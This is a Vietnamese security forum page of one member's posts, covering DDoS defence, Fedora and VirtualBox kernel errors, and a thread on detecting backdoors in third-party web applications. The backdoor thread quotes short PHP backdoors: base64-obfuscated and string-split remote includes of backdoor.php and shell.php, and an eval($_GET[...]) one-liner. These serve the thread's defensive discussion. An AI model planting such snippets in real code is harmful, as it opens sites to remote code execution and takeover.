banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: chiro8x  XML
Profile for chiro8x Messages posted by chiro8x [ number of posts not being displayed on this page: 0 ]
 

dexxa wrote:
. Trong forum này có bài kí sự DDOS HVA trong đó anh conmale đã phân tích và mô tả rất nhiều về các phương pháp tấn công và biện pháp khắc phục.  


Loạt bài đó là kinh nghiệm đúc rút từ quá trình phòng chống thực tế, nó không phải là những thứ căn bản để có thể mang ra đọc ngay, hiểu ngay được. Nếu ai chưa biết gì về DDoS mà cũng dùng nó như lí thuyết căn bản để tìm hiểu và thực hành theo chắc "chết" 


Nếu muốn có lý thuyết căn bản thì phải học nhều thứ. Từ cấu trúc máy tính, cho tới hệ điều hành và mạng máy tính, phải có một lượng kiến thức nhất định nếu muốn biết nhiều hơn. Có một số người lại thích bắt đằu đầu từ đỉnh chứ không chịu đi từ gốc. Và khi các bạn đi từ đỉnh thì câu hỏi thường gặp là "cái này là cái gì ?". Các topic thảo luận chống DDOS trong thời gian gần đây không thú vị, và không nóng vì chả ai có một thắc mắc hợp lý để cùng thảo luận cả.

Vào những topic thế này thật chán, mong rằng sẽ có những topic hay và thắc mắc hợp lý hơn. Và người nêu ra chủ đề cũng tìm hiểu về chủ để đó một cách đúng đắn.

MrDoA wrote:
Cám ơn anh conmale. Mình nghĩ cái này là độc quyền mất rồi. 


Thứ bạn muốn nói là Gzip compression chăng ?. Với mod gzip sẽ tự động compress dữu liệu trao đổi, việc này giảm thời gian truyền dữ liệu đi, nhưng lại hơi tốn tài nguyên của máy chủ. Chỉ nên dùng khi có một hệ thống proxy như nginx để giúp apache chịu tải thì phải =.=!.

http://crazytoon.com/2008/05/29/apache-gzip-compression-how-do-i-speed-up-my-website-download-time/
Cảm ơn các bạn nhé >_<! tại mới tập tành nên còn non tay quá. Chắc lại tìm hiểu thêm 2 cái này. Hôm bửa lên forum fedora lập topic mà chả thấy ai reply hết smilie.

Một lần nửa cảm ơn !.>

vanthanh1501 wrote:
Dạ máy anh tiền bối có gì dạy bảo em , em mới học xong lớp 12 và cũng mới dc tiếp xúc với máy tính thui, chưa hiểu biết gì smilie 


Nghe cách phát biểu của cậu và đọc qua vài topic của cậu tớ lại thấy khác. Điều cậu chưa biết gì thì đã rõ, nhưng được cái cậu có ưu điểm là rất tự tin trước một vấn đề cậu không biết rõ. Trong forum này có bài kí sự DDOS HVA trong đó anh conmale đã phân tích và mô tả rất nhiều về các phương pháp tấn công và biện pháp khắc phục. Có thể học từ nhiều nguồn khác như wikipedia, và ebook và hỏi google.

Rất mong lúc khác bạn sẽ lập một topic hướng dẫn cho mọi người chứ không phải là một topic mơ hồ và nữa hỏi nữa hướng dẫn như thế này smilie.
Việc này có lẽ khó mà vẹn toàn được vì người dùng có thể sử dụng một chương trình do bên thứ 3 cung cấp như nimbuzz. Hoặc chat gián tiếp qua một hệ thống trang web không thuộc yahoo.
Em mới cài fedora 15 xong, em mới tập tành đua đòi gần đây thôi. Tại vì thấy người ta dùng win7 còn con celeron của em không đú được với thiên hạ, nên chuyển qua dùng linux. Em cài khá nhiều distro, có cái ổ cứng củ nên mang ra tập tành. Cài đủ thứ mổi distro sài một thời gian xem kết được ai thì cưới :">. Cuối cùng thì kết nhất fedora 15, nhưng dùng một thời gian thì mới thấy. Em dùng một HDD cài Ubuntu 10.10, cái còn lại cài fedora 15. Nhưng từ fedora 15 thì xem được HDD cài ubuntu và thấy FS là ext4 thì phải nhưng từ, Ubuntu thì chỉ thấy hiện ra 1 phân vùng 500M nếu dùng partition manager thì nó bảo unknow fs (file system). Em xem qua qua thấy nó bảo là LVM2 gì đấy :"<. Giả sử cái thằng Fê nó chết em vào U thì làm sao lấy dữ liệu ra bây giờ smilie.
Gần đây em cũng hay viết bài, vì dạo này có nhiều việc cần trao đổi và thảo luận với mọi người. Nhưng đôi lúc viết bài vì một số lý do, cần chỉnh lại nội dung bài viết và bổ sung các chổ thiếu sót. Nhưng mỗi lần nhấn chỉnh thì thường hiện ra thông báo:

Trang này không tồn tại nhấn chuột vào đây trở lại HVA Forum

Và sau khi nhấn thì trở về trang chủ, nên đôi lúc lại phải reply thêm một trang nửa. Việc này đôi lúc làm nội dung bài viết lủng củng. Và rất khó nhìn..smilie
Vẫn đề vẫn chỉ là hư danh thôi :"<. Trong HVA elite hoàn toàn chẳng có nhiều đặc quyền gì và mọi thành viên đều bình đẳng điều này cũng đúng với cả guest. Vì vậy thay vì cứ làm khó nhau thế này mọi người hãy cùng trao đổi kiến thức chuyên môn và làm phong phú đam mê của mình.
Mục đích của tấn công từ chối dịch vụ là không để người sử dụng cuối tiếp cận với dịch vụ do nhà cung cấp đưa ra. Còn việc bạn làm là ngừng cung cấp dịch vụ với người dùng. Có lẽ bạn cố ý không hiểu rõ những gì anh conmale nói.


thì chính bồ tự tạo ra "từ chối dịch vụ" cho chính bồ. Chống DoS (trong trường hợp bồ đang nêu ra ở đây chỉ có thể tạm xem là DoS chớ không thể là DDoS), đòi hỏi hai điểm quan trọng:

1. Vẫn có thể tiếp tục cung cấp dịch vụ trong tình trạng bị DoS.
2. Và có thể bảo tồn tài nguyên để tiếp tục cung cấp dịch vụ.

Logic ở trên của bồ chỉ thoả mãn điểm thứ 2 ở trên bởi vậy, nó không phải là giải pháp vẹn toàn.
 


Giờ bạn hãy đọc ý của anh conmale thật chậm và cẩn thận nhé.

Quốc Hưng wrote:
cám ơn 2 anh đã hướng dẫn, em sẽ cố học hỏi nhiều thêm, vì từ lúc nghe tin các website VN bị bọn TQ tấn công thì em bắt đầu quan tâm đến bảo mật web nhiều hơn

ý của em nêu ra trong thảo luận này không phải là hỏi đây có phải là giải pháp hoàn hảo hay không, em cũng đã có đọc qua ký sự DDos của HVA, và cũng hiểu được DoS và DDoS. Cần có nhiều thành phần kết hợp lại mới tạo được hệ thống phòng thủ tốt. Em cũng có thấy tin forum HVA hôm qua bị DDoS, với khả năng bảo mật & chống chọi cao của forum mà vẫn bị DDoS thì em đủ hiểu khả năng "ôm đầu chịu đòn" của cái hàm server_busy rồi ^^

Em không có ý hỏi đây có phải là giải pháp toàn diện hay không, mà em muốn biết cách thức để chống đỡ được phần nào hay phần đó thôi. Do em đang dùng share host nên chỉ mới có thể can thiệp ở cấp xử lý php, và kết hợp bảo mật với .htaccess, nên em đưa ra câu hỏi này để hỏi các anh liệu cái hàm trên có thể giúp website chống chọi lại một phần sức mạnh của cuộc tấn công hay không thôi, hay là xử lý không nỗi rồi ngủm luôn smilie (thà mình chủ động tự deny để rồi sau đó hoạt động tiếp, còn hơn bị nó đánh tới tấp)
Vì giả sử website bị đánh tới tấp (hy vọng là bị DoS) thì nếu hàm trên có thể hạn chế bớt nhằm tránh overload server (chí ít là đỡ bị suspend)

hy vọng được mấy anh mở mang thêm 


Tớ có viết một tool để giả lập một quá trình DDOS rồi. Qua quá trình test ở một số server thì thấy nguyên nhân dẫn tới máy chủ không thể cung cấp dịch vụ là do có quá nhiều truy vấn tới dabtabase hoặc các truy vấn có độ phức tạp cao làm MySQL server bị quá tải dẫn tới crash, trong khi đó Apache và PHP vẫn không ở trong trình trạng quá tải.

Nếu như server bạn bị dính một số lỗi truyền thống như file file inclusion hoặc sql injection. Mình có thể kết hợp để tạo ra những truy vấn kiến server của bạn chết rất nhanh. Còn chuyện dùng đoạn mã trên bạn chỉ giúp người dùng không tiếp cận tới dịch vụ. Đây không phải là chống, mà là giúp người DDOS bạn.

Nếu bạn chỉ có thể tương tác với server thông qua các script thì có thể PM mình chúng mình thảo luận riêng :"<.
Code:
if($loadavg[0] > $numer) {
echo 'Server busy, plz try again later...';
die();
}


Cái này gọi là ngưng cung cấp dịch vụ một cách chủ động, với phương pháp này không gọi là bị tấn công mà được tấn công :">. Như anh conmale nói đấy việc chống DDOS cần dựa trên nhiều tầng, và các tầng càng cao thì hiệu quả chống DDOS lại thấp xuống và cho hiệu suất không cao. Bạn đọc kỹ phần ký sự DDOS hva sẽ thấy những điều sau.

1. Việc chống DDOS dựa trên việc hiểu chúng ta có những cái gì.
2. Việc chống DDOS dựa trên việc hiểu phương thức tấn công của đối thủ.
3. Lập biện pháp ứng phó tạm thời để đưa website vào vận hành.
4. Tính toán kỹ lưởng dựa trên mức độ tấn công và phương thức tấn công để lựa chọn phương ánh khả thi nhất và có thể mang lại hiệu quả.

Nói thêm là phần wwwect bằng cách thay đổi header của bạn là vô dụng smilie.
Em quay lại dùng bản 4.0.4 do có nguồn từ fedora - free rồi. Cảm ơn anh đã giúp đỡ có lẽ vấn đề này do em tìm hiểu chưa kĩ lúc nào có thời gian em sẽ tìm hiểu kĩ hơn.

conmale wrote:
Cài thêm gói "devel" và gói "kernel source" của kernel 2.6.38.7-30.fc15.i686.PAE rồi mới setup lại virtualbox. 

GCC và CMAKE em cài rồi, còn cái kernel source thì do symlink bị hỏng em đã làm lại rồi :"< Giờ tới bước start kernel là nó không load tiếp nửa. Ubuntu thì em nghịch chả thấy có vấn đề gì smilie fedora khó chiều quá.
Em đọc hết các bài hướng dẫn kia nhưng chưa tìm ra thứ mình cần tìm. Lúc trước em dùng kernel :
2.6.38.6-26.rc1.fc15.i686.PAE
2.6.38.6-27.fc15.i686.PAE
Sau đó nâng cấp lên:
2.6.38.7-30.fc15.i686.PAE

Sau khi nâng cấp xong kernel thì em không thể nào vào virtualbox được mặc dù với 2 bản kernel *-26 và *-27 thì hoàn toản ổn. Em đã cài DKMS (Dynamic Kernel Modules Support) như vẫn nhận được thông báo sau.

Code:
[chiro@chiro-desktop ~]su -c "/etc/init.d/vboxdrv setup"
Password:
Stopping VirtualBox kernel modules [ OK ]
Uninstalling old VirtualBox DKMS kernel modules [ OK ]
Trying to register the VirtualBox kernel modules using DKMSError! echo
Your kernel headers for kernel 2.6.38.7-30.fc15.i686.PAE cannot be found at
/lib/modules/2.6.38.7-30.fc15.i686.PAE/build or /lib/modules/2.6.38.7-30.fc15.i686.PAE/source.
[FAILED]
(Failed, trying without DKMS)
Recompiling VirtualBox kernel modules [FAILED]
(Look at /var/log/vbox-install.log to find out what went wrong)


Đây là error log:
Code:
[chiro@chiro-desktop ~]$ cat /var/log/vbox-install.log
Uninstalling modules from DKMS
removing old DKMS module vboxhost version 4.0.8
------------------------------
Deleting module version: 4.0.8
completely from the DKMS tree.
------------------------------
Done.
Attempting to install using DKMS
Creating symlink /var/lib/dkms/vboxhost/4.0.8/source ->
/usr/src/vboxhost-4.0.8
DKMS: add Completed.
Failed to install using DKMS, attempting to install without
Makefile:169: *** Error: unable to find the sources of your current Linux kernel. Specify KERN_DIR=<directory> and run Make again. Stop.


Nói thêm là các gói phụ trợ em đều cài đầy đủ, và lần nâng cấp từ *-26 lên *-27 diễn ra hoàn toàn tốt đẹp :"<.
Không phải em muốn xoáy người khác đâu, nhưng khi tranh luận một vấn đề thú vị như thế này khó mà ngừng lại được. Còn một vấn đề anh chưa đề cập tới là các kết nối UDP với kết nối UDP thì không có các flag như TCP. Và việc phân biệt ai kết nối tới ai cũng không được vì đây là kết nổi kiểu P-2-P. Vậy em xin hỏi một socket stream sử dụng UDP để lấy backdoor thì ngăn chặn thế nào. Việc ngăn chặn đó có ảnh hưởng tới các service được các server khác cung cấp như DNS và DHCP... hay không smilie.

@conmale: Em cảm ơn phần giải đáp thoả đáng của anh trước đó.

chiro8x wrote:

FaL wrote:
Cám ơn đóng góp của protectHat, anh tranhuuphuoc và xnohat,
Đến đây Fal tổng hợp lại ý kiến của mọi người như sau:

1. quét virus toàn bộ source code nghi ngờ;

2. cài đặt, kiểm tra kỹ db xem có gì lạ, khả nghi hay không;

3. chạy thử nghiệm xem có request nào lạ ra bên ngoài không;

4. config server để chống bypass, LFI;

5. debug code.

Quả thật công tác kiện toàn bảo mật cho web-application không thể tách rời việc kiện toàn bảo mật của server. Những bước 1, 2, 3 thực hiện không khó, nhưng đến bước thứ 4 cần phải có kiến thức tốt về hệ thống mới có thể thực hiện được, bước thứ 5 đòi hỏi trình độ code khá cao mới có thể thực hiện được. 2 bước cuối có vẻ ngắn gọn nhưng chứa đựng trong đó quá nhiều công việc.

Đáng tiếc là hiện nay việc kiện toàn bảo mật chưa được quan tâm đúng mức, người dùng nói chung sẵn sàng tắt antivirus để chạy crack một phần mềm nào đó. Coder sẵn sàng download source code lạ trong khi không đủ khả năng để debug.
 

Việc làm trên dường như quá mất công sức và tốn kém. Theo em cách đơn giản nhất là dùng chương trình bắt gói tin để tóm các gói tin sử dụng phương thức TCP/IP của máy chúng ta khi nó kết nối với máy tính khác, và điều tra từ đó. Đôi lúc backdoor còn được chèn vào database và được "lôi ra" bằng eval (PHP) nên, với lại các đoạn mã phần lớn được ecrypt dưới dạng base64 hoặc nhiều dạng khác tự chế cũng khá phong phú làm các antivirus bó tay.

Giải pháp có lẽ là disable các hàm PHP không cần thiết và có thể tác động tới hệ thống, bắt các truy vấn gửi đi từ máy mình. Cố gắng khoanh vùng. Loại bỏ các table nghi vấn chứa backdoor trong database. Còn debug source chắc là thuê người làm thôi ^^! vì nhiều quá một mình làm không hết smilie


Vấn đề mà anh comale nói có đề cập đến rồi ! nhưng chưa được chi tiết và tỉ mĩ như anh conmale trình bày. Tiện đây cho em hỏi nếu người xâm nhập sử dụng socket stream để lẫy mã nguồn backdoor được mã hoá từ nơi khác smilie chứ không chỉ gói gọn giao thức HTTP hay giao thức TCP/IP (có thể là UDP).
Cách của bạn làm hay nhưng lại khó có thể ứng dụng vào thực tế, và trên thực tế là không phần mềm diệt virus này sử dụng cách này, vì hiệu suất quá thấp (tớ chưa đề cập tới chất lượng). Tại sao không nghĩ tới việc hook các DLL và tạo nên lớp ảo che lấp (override) các API mà hệ thống cung cấp để tiến hành phân tích hành vi của malware ?.
À trang trên là để check IP xem ở nước nào thôi :"< Mình hiểu nhầm ý bạn là dãi IP :"< của một nước smilie(. Về việc này bạn tìm hiểu về PROXY, SOCK4, SOCK5,....
Người ta có sẵn datbase về cái này bạn à. Bạn có thể lên google để tìm hoặc thông qua trang web:
http://geoiptool.com sau đó viết một đoạn code = Ajax để lấy được mã nước và flag chúc bạn sớm tìm ra lời giải, tớ nhớ không lầm thì một số trang cung cấp api, nếu yêu cầu include PHP thì bạn nên cẩn trọng với backdoor.

dacminhm wrote:

chiro8x wrote:
Nếu như nhận biết backdoor theo hành vi của chúng có vẻ là lựa chọn khôn ngoan hơn với sử dụng phương pháp so sánh text content. Nếu có chương trình thực thi các file script và phân tích nó như vậy việc chống backdoor sẽ tốt hơn. 


Giữa việc nói và việc làm là 2 việc khác nhau, smilie Bạn professional có chương trình hay phương pháp nào như thế thì nói rõ ra, chứ nói chung chung thì ai cũng nói được chẳng cần đến professional làm gì.
smilie Quên mất phải nói điều nữa, bạn đừng chê tôi là newmem vì đây là topic thảo luận chứ không phải là topic hướng dẫn. bạn thông cảm cho, có gì sai thì nói ra để anh em sửa chữa thì mới là thảo luận
Thiếu nút thank bạn vì đã làm mình phải xem lại base64(sha-1) với md5 khác nhau thế nào? Và kết nhất cái câu:
Hix ! thực sự bạn nguy hiểm quá, nên phát biểu nhữn điều trong tầm hiểu biết của mình nếu không người ta cười cho đấy :"< 
 


MD5 & SHA1 là thuật toán băm chuổi, tạo ra mội chuổi mới và duy nhất từ giá trị ban đầu. Vì vậy SHA1 và MD5 sử dụng để mã hoá và lưu trử những dữ liệu quan trọng nhưng không muốn người khác dịch ngược. Tớ nhắc đến BASE64 vì BASE64 là mã hoá 2 chiều và cho phép decode. Còn bạn thì lại muốn dùng MD5 và SHA1 để mã hoá URL. Sự thiếu hiểu biết thật đáng sợ, và sẽ có nhiều người chết vì nó. Vui lòng tra wikipedia và google để biết thêm chi tiết.

Tôi không PROFESSIONAL như bạn nói nhưng nếu là bạn tôi sẽ cảm thấy hổ thẹn vì những hiều biết của bản thân cho tới nơi tới chốn. Sự thiếu hiểu biết của bạn làm bạn trở nên hung hăng và nguy hiểm. Tôi sẽ không PM bạn nửa bạn có thể xem đó là một sự coi khinh.
Tài liệu hướng dẫn cái này không thiếu đâu, tại bạn tìm hiểu không kỹ thôi. Tốt nhất tìm hiểu đến nơi đến chốn đi. Bạn đang cài wamp thì phải. Bạn tìm đọc các tài liệu đã có hoặc phần manual sẽ thấy thứ cần tìm thôi. Còn không đọc được thì đi học thêm khoá anh văn.
Bạn ấy nguy hiểm quá sắp có virus made by VoHai rồi đấy. Đây là tập 1 anh em đón xem tập 2 để biết thêm chi tiết về sự nguy hiểm.

Qua những gì mọi người thảo luận bạn ấy vẫn cố tình không hiểu ra vấn đề là :

Không bao giờ có cái tốt nhất và tối ưu nhất.
Không bao giờ một kẻ thiếu đam mê ham hư danh lại đạt được tới thứ mà hắn muốn.

Thật phí công khi trả lời topic này.
Nếu như nhận biết backdoor theo hành vi của chúng có vẻ là lựa chọn khôn ngoan hơn với sử dụng phương pháp so sánh text content. Nếu có chương trình thực thi các file script và phân tích nó như vậy việc chống backdoor sẽ tốt hơn.

protectHat wrote:

smile_sad wrote:
Theo mình nghĩ thông thường các folder cho phép upload chủ yếu là images,thumbs... Vậy nếu backdoor upload vào đây thì chắc nó là .php, .asp, .aspx...

Mình rành linux hơn windows 1 chút nên mình xin nói về linux nhé.

Ý kiến của mình là tạo 1 file .htaccess remove toàn bộ handler .php. Rồi chmod cái .htaccess này sao cho người ta không override nó được.

Tuy nhiên nếu mà source code có quá nhiều folder cho phép upload, việc lạm dụng .htaccess sẽ ảnh hưởng đến performance của hệ thống. Do đó nếu bạn thành thạo code thì có lẽ phải can thiệp vào code để xứ lí thôi.

Ở trên mình đưa ra tình huống là cái form upload đó đã chỉ định upload vào 1 folder trong sourcecode. Nhưng nếu attacker tạo mới 1 folder sau đó ném backdoor vào thì phải làm sao?

Mọi người tiếp tục thảo luận nhé. 

backdoor thường có đuôi là .jpg bạn ạ smilie;
Dùng firephp là cách dễ nhất, đơn giản nhất đó. Nhưng mà dùng NULL thì dính backdoor là thường 


Ưm bạn này nói chuẩn luôn :"< việc chmod file và thư mục sang read only cũng không giải quyết được, vì chúng được include vào source. Hoặc đọc -> giải mã -> eval(). Nói chung để lọc ra được backdoor không phải dễ. Nhất là các ứng dụng lớn có nhiều module smilie(.

dacminhm wrote:
Bạn chiro8x làm như tôi là chuyên gia vậy đã nói từ đầu là newmem mà lỵ smilie)

Còn nữa tôi cứ theo cái câu của FAL
Source code của ứng dụng có chứa backdoor hay không? 
; bàn ra thế, chứ không bàn về source code sau khi bị tấn công hay phát hiện ra bị tấn công!
Cái vụ này phức tạp thật !
Code:
aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA=

nó được mã hoá bằng base64 hả? Khó nhỉ? ngoài ra còn chơi SHA hay MD5 nữa cho khoẻ đi... chả biết nó mã hoá bằng gì hay giấu kiểu gì thì kết quả cuối cùng thì cũng là gửi 1 cái gì đó đến cái URL đấy smilie tôi ý kiến như thế các bạn có thấy đúng ko? Thế thì chỉ cần phân tích toàn bộ các url mà server kết nối đến là xong! Newmem chỉ biết thế thôi...Vì ngay FAL đã nói là
Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.
 

Có bạn nào chỉ cách khắc phục vụ form upload với smilie giả sử đang chơi forum thì phải có nơi cho mem upload lên chứ? cấm sao đựoc! 


nó được mã hoá bằng base64 hả? Khó nhỉ? ngoài ra còn chơi SHA hay MD5 nữa cho khoẻ đi... chả biết nó mã hoá bằng gì hay giấu kiểu gì thì kết quả cuối cùng thì cũng là gửi 1 cái gì đó đến cái URL đấy smilie tôi ý kiến như thế các bạn có thấy đúng ko? Thế thì chỉ cần phân tích toàn bộ các url mà server kết nối đến là xong! Newmem chỉ biết thế thôi...

Hix ! thực sự bạn nguy hiểm quá, nên phát biểu nhữn điều trong tầm hiểu biết của mình nếu không người ta cười cho đấy :"<. Để giải quyết vấn đề bảo mật phải đặt mình ở vị trí người thâm nhập và giả định những gì người đó làm, hoặc ít ra phải có kiến thức để phân tích những giấu vết đựoc server ghi lại. Còn cái lý thuyết vì em là newbie thế nọ, vì em là newbie thế kia thì bàn làm gì nửa đây.

Về chuyện làm upload bạn cần làm những việc sau để đảm bảo an toàn.
1. Chmod cho thư mục upload và các file khi upload.
2. Viết code lọc các loại file.
3. Giới hạn dung lượng upload.
4. Tạo tên file mới, dấu url thật của thư mục upload.

dacminhm wrote:
Các bạn siêu cao thủ quá..nói thế thì các newmem hiểu sao nổi! Người xem hiểu thì chả cần đọc hướng dẫn các bạn làm gì vì họ...hiểu sẵn rồi! Nên với tư cách newmem nên có ý kiến sau:

_ Tôi thấy thường các backdoor trên web application thì chẳng antivirus nào quét ra nổi.

_ Không dại gì config server bằng cách khoá mấy hàm ít cần (ít cần chứ không phải ko cần) ví dụ như fopen, fclose, readfile thì lỡ tôi muốn xây dựng 1 cái box chat mà lưu database dưới dạng text ngay trong 1 file temp thì sao? Sử dụng mấy lệnh khác tương tự nhưng dài hơn thì...hổng biết smilie) Hay

_ Không có kiến thức debug..nhưng chung quy backdoor nếu không biến ta thành zoombie thì cũng là ăn cắp information --> và kiểu gì cũng phải gửi đến đâu đó --> Cho lên một host free nào đó ..chạy source --> phân tích bằng firebug còn nếu không biết dùng thì chơi bằng adblock. Cái nào mà không phải từ host của ta thì...bóp chết thôi. Cách bóp chết thì dễ thôi, nếu là file thì xoá file đi, nếu là code thì xoá dòng code đó đi. Nếu kém hơn nữa là không biết sửa thì.... thay địa chỉ đó bằng địa chỉ của ta! Hoặc chặn luôn ip của nó đi cho hết gửi.

_ À có ai chống chế hắn chèn kiểu date=time thì include..thì vô tư đi. Máy chủ là máy ảo, máy client cũng cho ảo luôn. Cả hai máy ảo này cho đổi thời gian chạy luôn 1 năm (mỗi lần đổi time chỉnh cho lên 1 tháng coi) mất tầm 10 phút là truy ra hết mấy địa chỉ rỏm. Nói vui thế chứ, bình thường kiểu gì hắn cũng phải include 1 file shell nằm đâu đó (trong source của ta thì dễ chơi quá khỏi bàn) nếu là 1 đường link thì...ha ha... mở toàn bộ file trong source lên (tôi thấy dùng Notepad++ cũng đựoc) rồi Ctrl+F theo kiểu http,ftp,https,.... thì kiểu gì cũng ra! Ra rồi thì quay lại bước trên kia.

_ Bị chèn trong database SQL, MySQL ư? Lúc đầu cứ đặt prefix bằng tên của riêng ta, cái nào mà không phải tên ta thì cứ xoá vô tư! Hắc hắc... smilie Còn nếu kém hơn thì chơi kiểu 2 source chạy 2 máy khác nhau ( 1 trong nó chạy cái cần thử ) rồi đem 2 cái data ra so sánh mà..bó tay rồi... trước khi install cái nào thì cố xem database nó gồm cái gì, chứ đã install rồi mà ngồi tìm thì có mà ốm...
smilie newmem chỉ biết thế...các bạn chỉ giáo gì không? chứ nói cao siêu như trên thì khó chơi quá
 

Có người hiểu nhầm nội dung của topic thì phải không biết adblock có tác dụng gì ở đây. Bạn à topic đang thảo luận viề backdoor can thiệp vào các file script trên server. Việc này phức tạp hơn những gì bạn mô tả ở trên smilie .

Mình ví dụ về độ phức tạp mà bạn chưa tưởng tượng ra nhé.

Code:
include_once(base64_decode("aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA="));

aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA=

http://testsite.com/backdoor.php đã được encrypt với hàm base64_encode();

Ngoài ra còn nhiều cách đơn giản hơn:
Code:
include_once("h"."t"."t"."p".":"."/"."/"."testsite.com/backdoor.php");


Không phải ai cũng ngốc nghếch tới mức chèn URL vào file đâu :"<.

Ngoài ra việc bạn nói Lúc đầu cứ đặt prefix bằng tên của riêng ta. Phần lớn mọi người sau khi thâm nhập hệ thống sẽ cố gắng để lại ít dấu vết càng tốt, không làm xáo trộng thời gian tạo file (thậm chí set date & time server về lúc đầu để edit file sau đó trả lại date/time hiện tại). Việc chèn backdoor không nhất thiết tạo table mới chỉ cần chèn vào một table có sẳn kèm theo đó là một key mà chắc chắn sẽ không được truy vấn tới.

xnohat wrote:

FaL wrote:
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.

Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?

Mời các bạn cùng tham gia thảo luận! 


Cái này khó lắm à nha
Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì.

Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ):

Code:
<?php
include($abc);
?>


hay biết site đó thành zombies luôn

Code:
<?php
include("http://abcxyz.com/shell.php");
?>


Vụ trên gọi là "cố ý tạo ra lỗi"
Nếu chèn mã như trên thì khá căng smilie , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định

Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau 

Bạn nghĩ sao về đoạn mã nhỏ này:
Code:
<?php
....
if(isset($_GET['chiro8x']))eval($_GET['chiro8x']);
....
?>

Have fun ^^!.

FaL wrote:
Cám ơn đóng góp của protectHat, anh tranhuuphuoc và xnohat,
Đến đây Fal tổng hợp lại ý kiến của mọi người như sau:

1. quét virus toàn bộ source code nghi ngờ;

2. cài đặt, kiểm tra kỹ db xem có gì lạ, khả nghi hay không;

3. chạy thử nghiệm xem có request nào lạ ra bên ngoài không;

4. config server để chống bypass, LFI;

5. debug code.

Quả thật công tác kiện toàn bảo mật cho web-application không thể tách rời việc kiện toàn bảo mật của server. Những bước 1, 2, 3 thực hiện không khó, nhưng đến bước thứ 4 cần phải có kiến thức tốt về hệ thống mới có thể thực hiện được, bước thứ 5 đòi hỏi trình độ code khá cao mới có thể thực hiện được. 2 bước cuối có vẻ ngắn gọn nhưng chứa đựng trong đó quá nhiều công việc.

Đáng tiếc là hiện nay việc kiện toàn bảo mật chưa được quan tâm đúng mức, người dùng nói chung sẵn sàng tắt antivirus để chạy crack một phần mềm nào đó. Coder sẵn sàng download source code lạ trong khi không đủ khả năng để debug.
 

Việc làm trên dường như quá mất công sức và tốn kém. Theo em cách đơn giản nhất là dùng chương trình bắt gói tin để tóm các gói tin sử dụng phương thức TCP/IP của máy chúng ta khi nó kết nối với máy tính khác, và điều tra từ đó. Đôi lúc backdoor còn được chèn vào database và được "lôi ra" bằng eval (PHP) nên, với lại các đoạn mã phần lớn được ecrypt dưới dạng base64 hoặc nhiều dạng khác tự chế cũng khá phong phú làm các antivirus bó tay.

Giải pháp có lẽ là disable các hàm PHP không cần thiết và có thể tác động tới hệ thống, bắt các truy vấn gửi đi từ máy mình. Cố gắng khoanh vùng. Loại bỏ các table nghi vấn chứa backdoor trong database. Còn debug source chắc là thuê người làm thôi ^^! vì nhiều quá một mình làm không hết smilie .

longvnit wrote:
Theo mình nghĩ thì bạn đang làm phức tạp hoá vấn đề, mình chỉ làm đơn giản như sau:
Code:
function getEscaped( $text, $extra = false ) {
$string = mysqli_real_escape_string( $this->_resource, $text );
if ($extra) {
$string = addcslashes( $string, '%_' );
}
return $string;
}

Ví dụ:
Code:
$q = "INSERT INTO table_name VALUES ('".getEscaped($value)."')";

 


Mình muốn chặn luôn và loại bỏ các truy vấn đó cơ. Vì việc của mình cần phải chính xác cao. Không làm ẩu được, với lại sợ cái gọi là SQL cheat sheet smilie . Xin lỗi mình còn kém, về cơ bản mình hiểu là code của bạn thêm \ vào trước kí tự đặc biệt :"<. Nhưng mình không chắc là nó an toàn.
p/s: em là newbie nên các bác bác đừng dùng tiếng lóng mà có dùng thì ghi rõ ra để em còn hiểu 

lang là gì thế smilie có phải là programing language không nhỉ ?.

Theo mình bạn cần trả lời câu hỏi cần học để làm gì ?
Học cái đó làm được cái gì ?
Có nên học hay không ?
IQ của bạn có cho phép không ?
Bạn có thực sự đam mê không ?

Còn tớ như sau:
pascal -> vb -> html, js, vbs, css, php, asp, -> c/c++ -> tasm32
^^! có thể học nhiều chỉ cần có đủ đam mê thôi học xong cái này có nhiều cái mới để học bạn à.
 
Go to Page:  First Page Page 17 18 19 20 Page 22 Last Page

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|